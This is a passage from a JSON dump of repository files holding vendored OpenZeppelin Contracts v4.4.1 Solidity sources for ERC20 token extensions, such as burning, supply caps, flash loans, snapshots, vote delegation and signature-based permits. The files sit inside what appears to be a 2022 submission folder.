    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20.sol\";\nimport \"../../../utils/Context.sol\";\n\n/**\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\n * tokens and those that they have an allowance for, in a way that can be\n * recognized off-chain (via event analysis).\n */\nabstract contract ERC20Burnable is Context, ERC20 {\n    /**\n     * @dev Destroys `amount` tokens from the caller.\n     *\n     * See {ERC20-_burn}.\n     */\n    function burn(uint256 amount) public virtual {\n        _burn(_msgSender(), amount);\n    }\n\n    /**\n     * @dev Destroys `amount` tokens from `account`, deducting from the caller's\n     * allowance.\n     *\n     * See {ERC20-_burn} and {ERC20-allowance}.\n     *\n     * Requirements:\n     *\n     * - the caller must have allowance for ``accounts``'s tokens of at least\n     * `amount`.\n     */\n    function burnFrom(address account, uint256 amount) public virtual {\n        uint256 currentAllowance = allowance(account, _msgSender());\n        require(currentAllowance >= amount, \"ERC20: burn amount exceeds allowance\");\n        unchecked {\n            _approve(account, _msgSender(), currentAllowance - amount);\n        }\n        _burn(account, amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Capped.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Capped.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20.sol\";\n\n/**\n * @dev Extension of {ERC20} that adds a cap to the supply of tokens.\n */\nabstract contract ERC20Capped is ERC20 {\n    uint256 private immutable _cap;\n\n    /**\n     * @dev Sets the value of the `cap`. This value is immutable, it can only be\n     * set once during construction.\n     */\n    constructor(uint256 cap_) {\n        require(cap_ > 0, \"ERC20Capped: cap is 0\");\n        _cap = cap_;\n    }\n\n    /**\n     * @dev Returns the cap on the token's total supply.\n     */\n    function cap() public view virtual returns (uint256) {\n        return _cap;\n    }\n\n    /**\n     * @dev See {ERC20-_mint}.\n     */\n    function _mint(address account, uint256 amount) internal virtual override {\n        require(ERC20.totalSupply() + amount <= cap(), \"ERC20Capped: cap exceeded\");\n        super._mint(account, amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20FlashMint.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20FlashMint.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../../interfaces/IERC3156.sol\";\nimport \"../ERC20.sol\";\n\n/**\n * @dev Implementation of the ERC3156 Flash loans extension, as defined in\n * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].\n *\n * Adds the {flashLoan} method, which provides flash loan support at the token\n * level. By default there is no fee, but this can be changed by overriding {flashFee}.\n *\n * _Available since v4.1._\n */\nabstract contract ERC20FlashMint is ERC20, IERC3156FlashLender {\n    bytes32 private constant _RETURN_VALUE = keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n\n    /**\n     * @dev Returns the maximum amount of tokens available for loan.\n     * @param token The address of the token that is requested.\n     * @return The amont of token that can be loaned.\n     */\n    function maxFlashLoan(address token) public view override returns (uint256) {\n        return token == address(this) ? type(uint256).max - ERC20.totalSupply() : 0;\n    }\n\n    /**\n     * @dev Returns the fee applied when doing flash loans. By default this\n     * implementation has 0 fees. This function can be overloaded to make\n     * the flash loan mechanism deflationary.\n     * @param token The token to be flash loaned.\n     * @param amount The amount of tokens to be loaned.\n     * @return The fees applied to the corresponding flash loan.\n     */\n    function flashFee(address token, uint256 amount) public view virtual override returns (uint256) {\n        require(token == address(this), \"ERC20FlashMint: wrong token\");\n        // silence warning about unused variable without the addition of bytecode.\n        amount;\n        return 0;\n    }\n\n    /**\n     * @dev Performs a flash loan. New tokens are minted and sent to the\n     * `receiver`, who is required to implement the {IERC3156FlashBorrower}\n     * interface. By the end of the flash loan, the receiver is expected to own\n     * amount + fee tokens and have them approved back to the token contract itself so\n     * they can be burned.\n     * @param receiver The receiver of the flash loan. Should implement the\n     * {IERC3156FlashBorrower.onFlashLoan} interface.\n     * @param token The token to be flash loaned. Only `address(this)` is\n     * supported.\n     * @param amount The amount of tokens to be loaned.\n     * @param data An arbitrary datafield that is passed to the receiver.\n     * @return `true` is the flash loan was successful.\n     */\n    function flashLoan(\n        IERC3156FlashBorrower receiver,\n        address token,\n        uint256 amount,\n        bytes calldata data\n    ) public virtual override returns (bool) {\n        uint256 fee = flashFee(token, amount);\n        _mint(address(receiver), amount);\n        require(\n            receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,\n            \"ERC20FlashMint: invalid return value\"\n        );\n        uint256 currentAllowance = allowance(address(receiver), address(this));\n        require(currentAllowance >= amount + fee, \"ERC20FlashMint: allowance does not allow refund\");\n        _approve(address(receiver), address(this), currentAllowance - amount - fee);\n        _burn(address(receiver), amount + fee);\n        return true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Pausable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20.sol\";\nimport \"../../../security/Pausable.sol\";\n\n/**\n * @dev ERC20 token with pausable token transfers, minting and burning.\n *\n * Useful for scenarios such as preventing trades until the end of an evaluation\n * period, or having an emergency switch for freezing all token transfers in the\n * event of a large bug.\n */\nabstract contract ERC20Pausable is ERC20, Pausable {\n    /**\n     * @dev See {ERC20-_beforeTokenTransfer}.\n     *\n     * Requirements:\n     *\n     * - the contract must not be paused.\n     */\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual override {\n        super._beforeTokenTransfer(from, to, amount);\n\n        require(!paused(), \"ERC20Pausable: token transfer while paused\");\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Snapshot.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Snapshot.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20.sol\";\nimport \"../../../utils/Arrays.sol\";\nimport \"../../../utils/Counters.sol\";\n\n/**\n * @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and\n * total supply at the time are recorded for later access.\n *\n * This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.\n * In naive implementations it's possible to perform a \"double spend\" attack by reusing the same balance from different\n * accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be\n * used to create an efficient ERC20 forking mechanism.\n *\n * Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a\n * snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot\n * id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id\n * and the account address.\n *\n * NOTE: Snapshot policy can be customized by overriding the {_getCurrentSnapshotId} method. For example, having it\n * return `block.number` will trigger the creation of snapshot at the begining of each new block. When overridding this\n * function, be careful about the monotonicity of its result. Non-monotonic snapshot ids will break the contract.\n *\n * Implementing snapshots for every block using this method will incur significant gas costs. For a gas-efficient\n * alternative consider {ERC20Votes}.\n *\n * ==== Gas Costs\n *\n * Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log\n * n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much\n * smaller since identical balances in subsequent snapshots are stored as a single entry.\n *\n * There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is\n * only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent\n * transfers will have normal cost until the next snapshot, and so on.\n */\n\nabstract contract ERC20Snapshot is ERC20 {\n    // Inspired by Jordi Baylina's MiniMeToken to record historical balances:\n    // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol\n\n    using Arrays for uint256[];\n    using Counters for Counters.Counter;\n\n    // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a\n    // Snapshot struct, but that would impede usage of functions that work on an array.\n    struct Snapshots {\n        uint256[] ids;\n        uint256[] values;\n    }\n\n    mapping(address => Snapshots) private _accountBalanceSnapshots;\n    Snapshots private _totalSupplySnapshots;\n\n    // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.\n    Counters.Counter private _currentSnapshotId;\n\n    /**\n     * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.\n     */\n    event Snapshot(uint256 id);\n\n    /**\n     * @dev Creates a new snapshot and returns its snapshot id.\n     *\n     * Emits a {Snapshot} event that contains the same id.\n     *\n     * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a\n     * set of accounts, for example using {AccessControl}, or it may be open to the public.\n     *\n     * [WARNING]\n     * ====\n     * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,\n     * you must consider that it can potentially be used by attackers in two ways.\n     *\n     * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow\n     * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target\n     * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs\n     * section above.\n     *\n     * We haven't measured the actual numbers; if this is something you're interested in please reach out to us.\n     * ====\n     */\n    function _snapshot() internal virtual returns (uint256) {\n        _currentSnapshotId.increment();\n\n        uint256 currentId = _getCurrentSnapshotId();\n        emit Snapshot(currentId);\n        return currentId;\n    }\n\n    /**\n     * @dev Get the current snapshotId\n     */\n    function _getCurrentSnapshotId() internal view virtual returns (uint256) {\n        return _currentSnapshotId.current();\n    }\n\n    /**\n     * @dev Retrieves the balance of `account` at the time `snapshotId` was created.\n     */\n    function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) {\n        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);\n\n        return snapshotted ? value : balanceOf(account);\n    }\n\n    /**\n     * @dev Retrieves the total supply at the time `snapshotId` was created.\n     */\n    function totalSupplyAt(uint256 snapshotId) public view virtual returns (uint256) {\n        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);\n\n        return snapshotted ? value : totalSupply();\n    }\n\n    // Update balance and/or total supply snapshots before the values are modified. This is implemented\n    // in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual override {\n        super._beforeTokenTransfer(from, to, amount);\n\n        if (from == address(0)) {\n            // mint\n            _updateAccountSnapshot(to);\n            _updateTotalSupplySnapshot();\n        } else if (to == address(0)) {\n            // burn\n            _updateAccountSnapshot(from);\n            _updateTotalSupplySnapshot();\n        } else {\n            // transfer\n            _updateAccountSnapshot(from);\n            _updateAccountSnapshot(to);\n        }\n    }\n\n    function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) {\n        require(snapshotId > 0, \"ERC20Snapshot: id is 0\");\n        require(snapshotId <= _getCurrentSnapshotId(), \"ERC20Snapshot: nonexistent id\");\n\n        // When a valid snapshot is queried, there are three possibilities:\n        //  a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never\n        //  created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds\n        //  to this id is the current one.\n        //  b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the\n        //  requested id, and its value is the one to return.\n        //  c) More snapshots were created after the requested one, and the queried value was later modified. There will be\n        //  no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is\n        //  larger than the requested one.\n        //\n        // In summary, we need to find an element in an array, returning the index of the smallest value that is larger if\n        // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does\n        // exactly this.\n\n        uint256 index = snapshots.ids.findUpperBound(snapshotId);\n\n        if (index == snapshots.ids.length) {\n            return (false, 0);\n        } else {\n            return (true, snapshots.values[index]);\n        }\n    }\n\n    function _updateAccountSnapshot(address account) private {\n        _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));\n    }\n\n    function _updateTotalSupplySnapshot() private {\n        _updateSnapshot(_totalSupplySnapshots, totalSupply());\n    }\n\n    function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {\n        uint256 currentId = _getCurrentSnapshotId();\n        if (_lastSnapshotId(snapshots.ids) < currentId) {\n            snapshots.ids.push(currentId);\n            snapshots.values.push(currentValue);\n        }\n    }\n\n    function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {\n        if (ids.length == 0) {\n            return 0;\n        } else {\n            return ids[ids.length - 1];\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Votes.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Votes.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./draft-ERC20Permit.sol\";\nimport \"../../../utils/math/Math.sol\";\nimport \"../../../utils/math/SafeCast.sol\";\nimport \"../../../utils/cryptography/ECDSA.sol\";\n\n/**\n * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,\n * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.\n *\n * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.\n *\n * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either\n * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting\n * power can be queried through the public accessors {getVotes} and {getPastVotes}.\n *\n * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it\n * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.\n * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this\n * will significantly increase the base gas cost of transfers.\n *\n * _Available since v4.2._\n */\nabstract contract ERC20Votes is ERC20Permit {\n    struct Checkpoint {\n        uint32 fromBlock;\n        uint224 votes;\n    }\n\n    bytes32 private constant _DELEGATION_TYPEHASH =\n        keccak256(\"Delegation(address delegatee,uint256 nonce,uint256 expiry)\");\n\n    mapping(address => address) private _delegates;\n    mapping(address => Checkpoint[]) private _checkpoints;\n    Checkpoint[] private _totalSupplyCheckpoints;\n\n    /**\n     * @dev Emitted when an account changes their delegate.\n     */\n    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);\n\n    /**\n     * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.\n     */\n    event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);\n\n    /**\n     * @dev Get the `pos`-th checkpoint for `account`.\n     */\n    function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {\n        return _checkpoints[account][pos];\n    }\n\n    /**\n     * @dev Get number of checkpoints for `account`.\n     */\n    function numCheckpoints(address account) public view virtual returns (uint32) {\n        return SafeCast.toUint32(_checkpoints[account].length);\n    }\n\n    /**\n     * @dev Get the address `account` is currently delegating to.\n     */\n    function delegates(address account) public view virtual returns (address) {\n        return _delegates[account];\n    }\n\n    /**\n     * @dev Gets the current votes balance for `account`\n     */\n    function getVotes(address account) public view returns (uint256) {\n        uint256 pos = _checkpoints[account].length;\n        return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;\n    }\n\n    /**\n     * @dev Retrieve the number of votes for `account` at the end of `blockNumber`.\n     *\n     * Requirements:\n     *\n     * - `blockNumber` must have been already mined\n     */\n    function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {\n        require(blockNumber < block.number, \"ERC20Votes: block not yet mined\");\n        return _checkpointsLookup(_checkpoints[account], blockNumber);\n    }\n\n    /**\n     * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.\n     * It is but NOT the sum of all the delegated votes!\n     *\n     * Requirements:\n     *\n     * - `blockNumber` must have been already mined\n     */\n    function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {\n        require(blockNumber < block.number, \"ERC20Votes: block not yet mined\");\n        return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);\n    }\n\n    /**\n     * @dev Lookup a value in a list of (sorted) checkpoints.\n     */\n    function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {\n        // We run a binary search to look for the earliest checkpoint taken after `blockNumber`.\n        //\n        // During the loop, the index of the wanted checkpoint remains in the range [low-1, high).\n        // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.\n        // - If the middle checkpoint is after `blockNumber`, we look in [low, mid)\n        // - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)\n        // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not\n        // out of bounds (in which case we're looking too far in the past and the result is 0).\n        // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is\n        // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out\n        // the same.\n        uint256 high = ckpts.length;\n        uint256 low = 0;\n        while (low < high) {\n            uint256 mid = Math.average(low, high);\n            if (ckpts[mid].fromBlock > blockNumber) {\n                high = mid;\n            } else {\n                low = mid + 1;\n            }\n        }\n\n        return high == 0 ? 0 : ckpts[high - 1].votes;\n    }\n\n    /**\n     * @dev Delegate votes from the sender to `delegatee`.\n     */\n    function delegate(address delegatee) public virtual {\n        _delegate(_msgSender(), delegatee);\n    }\n\n    /**\n     * @dev Delegates votes from signer to `delegatee`\n     */\n    function delegateBySig(\n        address delegatee,\n        uint256 nonce,\n        uint256 expiry,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual {\n        require(block.timestamp <= expiry, \"ERC20Votes: signature expired\");\n        address signer = ECDSA.recover(\n            _hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),\n            v,\n            r,\n            s\n        );\n        require(nonce == _useNonce(signer), \"ERC20Votes: invalid nonce\");\n        _delegate(signer, delegatee);\n    }\n\n    /**\n     * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).\n     */\n    function _maxSupply() internal view virtual returns (uint224) {\n        return type(uint224).max;\n    }\n\n    /**\n     * @dev Snapshots the totalSupply after it has been increased.\n     */\n    function _mint(address account, uint256 amount) internal virtual override {\n        super._mint(account, amount);\n        require(totalSupply() <= _maxSupply(), \"ERC20Votes: total supply risks overflowing votes\");\n\n        _writeCheckpoint(_totalSupplyCheckpoints, _add, amount);\n    }\n\n    /**\n     * @dev Snapshots the totalSupply after it has been decreased.\n     */\n    function _burn(address account, uint256 amount) internal virtual override {\n        super._burn(account, amount);\n\n        _writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount);\n    }\n\n    /**\n     * @dev Move voting power when tokens are transferred.\n     *\n     * Emits a {DelegateVotesChanged} event.\n     */\n    function _afterTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual override {\n        super._afterTokenTransfer(from, to, amount);\n\n        _moveVotingPower(delegates(from), delegates(to), amount);\n    }\n\n    /**\n     * @dev Change delegation for `delegator` to `delegatee`.\n     *\n     * Emits events {DelegateChanged} and {DelegateVotesChanged}.\n     */\n    function _delegate(address delegator, address delegatee) internal virtual {\n        address currentDelegate = delegates(delegator);\n        uint256 delegatorBalance = balanceOf(delegator);\n        _delegates[delegator] = delegatee;\n\n        emit DelegateChanged(delegator, currentDelegate, delegatee);\n\n        _moveVotingPower(currentDelegate, delegatee, delegatorBalance);\n    }\n\n    function _moveVotingPower(\n        address src,\n        address dst,\n        uint256 amount\n    ) private {\n        if (src != dst && amount > 0) {\n            if (src != address(0)) {\n                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount);\n                emit DelegateVotesChanged(src, oldWeight, newWeight);\n            }\n\n            if (dst != address(0)) {\n                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount);\n                emit DelegateVotesChanged(dst, oldWeight, newWeight);\n            }\n        }\n    }\n\n    function _writeCheckpoint(\n        Checkpoint[] storage ckpts,\n        function(uint256, uint256) view returns (uint256) op,\n        uint256 delta\n    ) private returns (uint256 oldWeight, uint256 newWeight) {\n        uint256 pos = ckpts.length;\n        oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;\n        newWeight = op(oldWeight, delta);\n\n        if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {\n            ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);\n        } else {\n            ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)}));\n        }\n    }\n\n    function _add(uint256 a, uint256 b) private pure returns (uint256) {\n        return a + b;\n    }\n\n    function _subtract(uint256 a, uint256 b) private pure returns (uint256) {\n        return a - b;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20VotesComp.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20VotesComp.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Votes.sol\";\n\n/**\n * @dev Extension of ERC20 to support Compound's voting and delegation. This version exactly matches Compound's\n * interface, with the drawback of only supporting supply up to (2^96^ - 1).\n *\n * NOTE: You should use this contract if you need exact compatibility with COMP (for example in order to use your token\n * with Governor Alpha or Bravo) and if you are sure the supply cap of 2^96^ is enough for you. Otherwise, use the\n * {ERC20Votes} variant of this module.\n *\n * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either\n * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting\n * power can be queried through the public accessors {getCurrentVotes} and {getPriorVotes}.\n *\n * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it\n * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.\n * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this\n * will significantly increase the base gas cost of transfers.\n *\n * _Available since v4.2._\n */\nabstract contract ERC20VotesComp is ERC20Votes {\n    /**\n     * @dev Comp version of the {getVotes} accessor, with `uint96` return type.\n     */\n    function getCurrentVotes(address account) external view returns (uint96) {\n        return SafeCast.toUint96(getVotes(account));\n    }\n\n    /**\n     * @dev Comp version of the {getPastVotes} accessor, with `uint96` return type.\n     */\n    function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96) {\n        return SafeCast.toUint96(getPastVotes(account, blockNumber));\n    }\n\n    /**\n     * @dev Maximum token supply. Reduced to `type(uint96).max` (2^96^ - 1) to fit COMP interface.\n     */\n    function _maxSupply() internal view virtual override returns (uint224) {\n        return type(uint96).max;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Wrapper.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Wrapper.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20.sol\";\nimport \"../utils/SafeERC20.sol\";\n\n/**\n * @dev Extension of the ERC20 token contract to support token wrapping.\n *\n * Users can deposit and withdraw \"underlying tokens\" and receive a matching number of \"wrapped tokens\". This is useful\n * in conjunction with other modules. For example, combining this wrapping mechanism with {ERC20Votes} will allow the\n * wrapping of an existing \"basic\" ERC20 into a governance token.\n *\n * _Available since v4.2._\n */\nabstract contract ERC20Wrapper is ERC20 {\n    IERC20 public immutable underlying;\n\n    constructor(IERC20 underlyingToken) {\n        underlying = underlyingToken;\n    }\n\n    /**\n     * @dev Allow a user to deposit underlying tokens and mint the corresponding number of wrapped tokens.\n     */\n    function depositFor(address account, uint256 amount) public virtual returns (bool) {\n        SafeERC20.safeTransferFrom(underlying, _msgSender(), address(this), amount);\n        _mint(account, amount);\n        return true;\n    }\n\n    /**\n     * @dev Allow a user to burn a number of wrapped tokens and withdraw the corresponding number of underlying tokens.\n     */\n    function withdrawTo(address account, uint256 amount) public virtual returns (bool) {\n        _burn(_msgSender(), amount);\n        SafeERC20.safeTransfer(underlying, account, amount);\n        return true;\n    }\n\n    /**\n     * @dev Mint wrapped token to cover any underlyingTokens that would have been transfered by mistake. Internal\n     * function that can be exposed with access control if desired.\n     */\n    function _recover(address account) internal virtual returns (uint256) {\n        uint256 value = underlying.balanceOf(address(this)) - totalSupply();\n        _mint(account, value);\n        return value;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n    /**\n     * @dev Returns the name of the token.\n     */\n    function name() external view returns (string memory);\n\n    /**\n     * @dev Returns the symbol of the token.\n     */\n    function symbol() external view returns (string memory);\n\n    /**\n     * @dev Returns the decimals places of the token.\n     */\n    function decimals() external view returns (uint8);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-ERC20Permit.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./draft-IERC20Permit.sol\";\nimport \"../ERC20.sol\";\nimport \"../../../utils/cryptography/draft-EIP712.sol\";\nimport \"../../../utils/cryptography/ECDSA.sol\";\nimport \"../../../utils/Counters.sol\";\n\n/**\n * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n *\n * _Available since v3.4._\n */\nabstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {\n    using Counters for Counters.Counter;\n\n    mapping(address => Counters.Counter) private _nonces;\n\n    // solhint-disable-next-line var-name-mixedcase\n    bytes32 private immutable _PERMIT_TYPEHASH =\n        keccak256(\"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\");\n\n    /**\n     * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `\"1\"`.\n     *\n     * It's a good idea to use the same `name` that is defined as the ERC20 token name.\n     */\n    constructor(string memory name) EIP712(name, \"1\") {}\n\n    /**\n     * @dev See {IERC20Permit-permit}.\n     */\n    function permit(\n        address owner,\n        address spender,\n        uint256 value,\n        uint256 deadline,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual override {\n        require(block.timestamp <= deadline, \"ERC20Permit: expired deadline\");\n\n        bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));\n\n        bytes32 hash = _hashTypedDataV4(structHash);\n\n        address signer = ECDSA.recover(hash, v, r, s);\n        require(signer == owner, \"ERC20Permit: invalid signature\");\n\n        _approve(owner, spender, value);\n    }\n\n    /**\n     * @dev See {IERC20Permit-nonces}.\n     */\n    function nonces(address owner) public view virtual override returns (uint256) {\n        return _nonces[owner].current();\n    }\n\n    /**\n     * @dev See {IERC20Permit-DOMAIN_SEPARATOR}.\n     */\n    // solhint-disable-next-line func-name-mixedcase\n    function DOMAIN_SEPARATOR() external view override returns (bytes32) {\n        return _domainSeparatorV4();\n    }\n\n    /**\n     * @dev \"Consume a nonce\": return the current value and increment.\n     *\n     * _Available since v4.1._\n     */\n    function _useNonce(address owner) internal virtual returns (uint256 current) {\n        Counters.Counter storage nonce = _nonces[owner];\n        current = nonce.current();\n        nonce.increment();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-IERC20Permit.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20Permit {\n    /**\n     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n     * given ``owner``'s signed approval.\n     *\n     * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n     * ordering also apply here.\n     *\n     * Emits an {Approval} event.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     * - `deadline` must be a timestamp in the future.\n     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n     * over the EIP712-formatted function arguments.\n     * - the signature must use ``owner``'s current nonce (see {nonces}).\n     *\n     * For more information on the signature format, see the\n     * 